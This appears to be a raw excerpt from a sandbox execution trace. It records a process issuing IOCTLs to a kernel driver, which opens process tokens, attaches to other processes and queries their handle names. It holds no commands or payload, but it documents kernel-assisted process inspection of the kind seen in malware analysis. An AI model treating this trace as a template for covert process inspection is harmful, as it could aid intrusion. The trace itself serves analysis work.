AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.969] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x12 [0094.970] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.970] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.970] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.970] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.970] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.971] CloseHandle (hObject=0xc8) returned 1 [0094.971] CloseHandle (hObject=0xc0) returned 1 [0094.971] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.971] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.971] PsAcquireProcessExitSynchronization () returned 0x0 [0094.971] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880052335d0) [0094.971] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800210f070, HandleInformation=0x0) returned 0x0 [0094.971] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.971] PsReleaseProcessExitSynchronization () returned 0x2 [0094.971] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0094.971] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.971] ObfDereferenceObject (Object=0xfffffa800210f070) returned 0x1 [0094.971] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.971] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.972] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0094.972] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.972] PsAcquireProcessExitSynchronization () returned 0x0 [0094.972] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880052335d0) [0094.972] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002111180, HandleInformation=0x0) returned 0x0 [0094.972] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.972] PsReleaseProcessExitSynchronization () returned 0x2 [0094.972] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0094.972] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.972] ObfDereferenceObject (Object=0xfffffa8002111180) returned 0x1 [0094.972] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.972] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.972] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.972] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.972] PsAcquireProcessExitSynchronization () returned 0x0 [0094.972] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880052335d0) [0094.972] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.972] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.972] PsReleaseProcessExitSynchronization () returned 0x2 [0094.972] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0094.972] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.972] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.972] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.972] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.972] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa40) returned 0xc0 [0094.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.972] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800211db30, HandleInformation=0x0) returned 0x0 [0094.972] ObOpenObjectByPointer (in: Object=0xfffffa800211db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.973] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x12 [0094.973] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.973] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.973] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.973] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.973] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.974] CloseHandle (hObject=0xc8) returned 1 [0094.974] CloseHandle (hObject=0xc0) returned 1 [0094.974] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.974] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.974] PsAcquireProcessExitSynchronization () returned 0x0 [0094.975] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880052335d0) [0094.975] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800211b720, HandleInformation=0x0) returned 0x0 [0094.975] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.975] PsReleaseProcessExitSynchronization () returned 0x2 [0094.975] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0094.975] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.975] ObfDereferenceObject (Object=0xfffffa800211b720) returned 0x1 [0094.975] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.975] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.975] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0094.975] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.975] PsAcquireProcessExitSynchronization () returned 0x0 [0094.975] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880052335d0) [0094.975] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800211d120, HandleInformation=0x0) returned 0x0 [0094.975] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.975] PsReleaseProcessExitSynchronization () returned 0x2 [0094.975] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0094.975] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.975] ObfDereferenceObject (Object=0xfffffa800211d120) returned 0x1 [0094.975] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.975] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.975] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.975] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.975] PsAcquireProcessExitSynchronization () returned 0x0 [0094.975] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880052335d0) [0094.975] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.975] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.975] PsReleaseProcessExitSynchronization () returned 0x2 [0094.975] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0094.975] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.976] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.976] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.976] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.976] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa50) returned 0xc0 [0094.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.976] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002128740, HandleInformation=0x0) returned 0x0 [0094.976] ObOpenObjectByPointer (in: Object=0xfffffa8002128740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.976] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x12 [0094.976] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.976] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.976] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.976] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.976] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.977] CloseHandle (hObject=0xc8) returned 1 [0094.977] CloseHandle (hObject=0xc0) returned 1 [0094.977] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.977] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.977] PsAcquireProcessExitSynchronization () returned 0x0 [0094.978] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880052335d0) [0094.978] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002128070, HandleInformation=0x0) returned 0x0 [0094.978] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.978] PsReleaseProcessExitSynchronization () returned 0x2 [0094.978] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0094.978] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.978] ObfDereferenceObject (Object=0xfffffa8002128070) returned 0x1 [0094.978] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.978] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.978] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0094.978] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.978] PsAcquireProcessExitSynchronization () returned 0x0 [0094.978] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880052335d0) [0094.978] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001ff4f20, HandleInformation=0x0) returned 0x0 [0094.978] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.978] PsReleaseProcessExitSynchronization () returned 0x2 [0094.978] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0094.978] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.978] ObfDereferenceObject (Object=0xfffffa8001ff4f20) returned 0x1 [0094.978] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.978] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.978] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.978] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.978] PsAcquireProcessExitSynchronization () returned 0x0 [0094.978] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880052335d0) [0094.978] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.978] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.978] PsReleaseProcessExitSynchronization () returned 0x2 [0094.979] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0094.979] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.979] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.979] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.979] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.979] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa60) returned 0xc0 [0094.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.979] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002001330, HandleInformation=0x0) returned 0x0 [0094.979] ObOpenObjectByPointer (in: Object=0xfffffa8002001330, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.979] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x12 [0094.979] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.979] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.979] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.979] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.979] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.981] CloseHandle (hObject=0xc8) returned 1 [0094.981] CloseHandle (hObject=0xc0) returned 1 [0094.981] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.981] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.981] PsAcquireProcessExitSynchronization () returned 0x0 [0094.981] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880052335d0) [0094.981] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002001bd0, HandleInformation=0x0) returned 0x0 [0094.981] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.981] PsReleaseProcessExitSynchronization () returned 0x2 [0094.981] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0094.981] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.981] ObfDereferenceObject (Object=0xfffffa8002001bd0) returned 0x1 [0094.981] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.981] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.981] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0094.981] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.981] PsAcquireProcessExitSynchronization () returned 0x0 [0094.981] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880052335d0) [0094.981] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020b71b0, HandleInformation=0x0) returned 0x0 [0094.981] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.982] PsReleaseProcessExitSynchronization () returned 0x2 [0094.982] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0094.982] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.982] ObfDereferenceObject (Object=0xfffffa80020b71b0) returned 0x1 